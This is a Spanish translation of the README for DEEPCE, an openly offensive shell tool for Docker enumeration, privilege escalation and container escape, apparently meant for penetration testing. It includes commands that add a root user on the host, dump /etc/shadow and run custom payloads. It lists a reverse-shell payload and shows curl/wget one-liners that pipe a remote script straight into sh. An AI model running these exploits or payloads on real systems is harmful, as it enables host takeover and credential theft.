deepce

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
            \____\_______/
          __                        
     ____/ /__  ___  ____  ________ 
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/

Sitio web

Enumeración de Docker, escalada de privilegios y escapes de contenedores (DEEPCE)

Para que sea compatible con el máximo número de contenedores, DEEPCE está escrito en sh puro y sin dependencias. Hará uso de herramientas adicionales como curl, nmap, nslookup y dig si están disponibles, pero en su mayor parte no depende de ellas para la enumeración.

Ninguna de las enumeraciones debería tocar el disco; sin embargo, la mayoría de los exploits crean nuevos contenedores, lo que provocará escrituras en el disco, y algunos exploits sobrescribirán runC, lo que puede ser destructivo, ¡así que ten cuidado!

Consulta a continuación una lista de las enumeraciones, exploits y payloads que DEEPCE puede usar. Si tienes ideas para más, ¡por favor crea un issue en github!

Descarga

DEEPCE se puede descargar en un host o contenedor usando uno de los siguientes comandos de una línea. Consejo: descárgalo a /dev/shm para evitar tocar el disco.

wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh  

Apoyo

Si amas lo que hago con Deepce y mis otros proyectos, ¡ahora puedes apoyar mi trabajo directamente! Al invitarme a un café ☕, no solo alimentas mi necesidad de cafeína: me ayudas a dedicar más tiempo a desarrollar y mejorar estos proyectos de código abierto. Cada café cuenta y trae más innovación al mundo de la ciberseguridad. ¡Gracias por tu apoyo: significa mucho para mí y para la comunidad de código abierto!

Capturas de pantalla

Para más, consulta la carpeta de documentación

Enumeraciones

La siguiente es la lista de enumeraciones realizadas por DEEPCE.

• ID y nombre del contenedor (mediante DNS inverso)
• IP del contenedor / servidor DNS
• Versión de Docker
• Montajes interesantes
• Contraseñas en archivos comunes
• Variables de entorno
• Hashes de contraseñas
• Archivos sensibles comunes almacenados en contenedores
• Otros contenedores en la misma red
• Escaneo de puertos de otros contenedores y de la propia máquina host
• Detectar docker sock expuesto

Exploits

• Escalada de privilegios del grupo Docker
• Ejecución de comandos en el host en modo privilegiado
• Docker Sock expuesto

Payloads

Para cada uno de los exploits anteriores se pueden definir payloads para explotar el sistema host. Estos incluyen:

• Shell TCP inversa
• Imprimir /etc/shadow
• Añadir un nuevo usuario root
• Ejecutar comandos personalizados
• Ejecutar binarios de payload personalizados

Ejemplos

# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh 

Exploits

Los siguientes ejemplos muestran los diferentes tipos de exploits que se pueden realizar y los payloads disponibles.

• Explota un contenedor privilegiado para crear un nuevo usuario root en el sistema operativo host:

./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce

• Explota un archivo docker sock escribible para imprimir el contenido de /etc/shadow

./deepce.sh --no-enumeration --exploit SOCK --shadow

• Escala a root mediante la pertenencia al grupo docker en un host y ejecuta un payload personalizado

./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

Uso avanzado

Es posible descargar y ejecutar deepce sin tocar el disco; sin embargo, no podrás establecer argumentos fácilmente (la manipulación directa de variables es posible usando export).

wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

Inspiración

Hay algunos excelentes scripts de enumeración/escape de contenedores y herramientas de enumeración de los que me he inspirado al escribir esto. Sin embargo, sentí la necesidad de escribir uno puramente en sh para evitar tener que instalar dependencias de go / ruby o depender de un binario estático. También quería poder realizar más enumeraciones para intentar descubrir qué es el contenedor docker, ya que durante una prueba podemos terminar dentro de un contenedor desconocido. La cantidad de cosas que este script puede enumerar se me fue de las manos, porque cada vez que añadía algo nuevo pensaba en más cosas adicionales que podría añadir.

• LinPEAS
• LinEnum
• BotB
• Harpoon

Recursos

Desarrolladores que buscan consejos de seguridad de Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md

Contribuciones

Agradezco pull requests, issues y comentarios.

• Haz un fork
• Crea tu rama de características (git checkout -b my-new-feature)
• Haz commit de tus cambios (git commit -am 'Added some feature')
• Haz push a la rama (git push origin my-new-feature)
• Crea una nueva Pull Request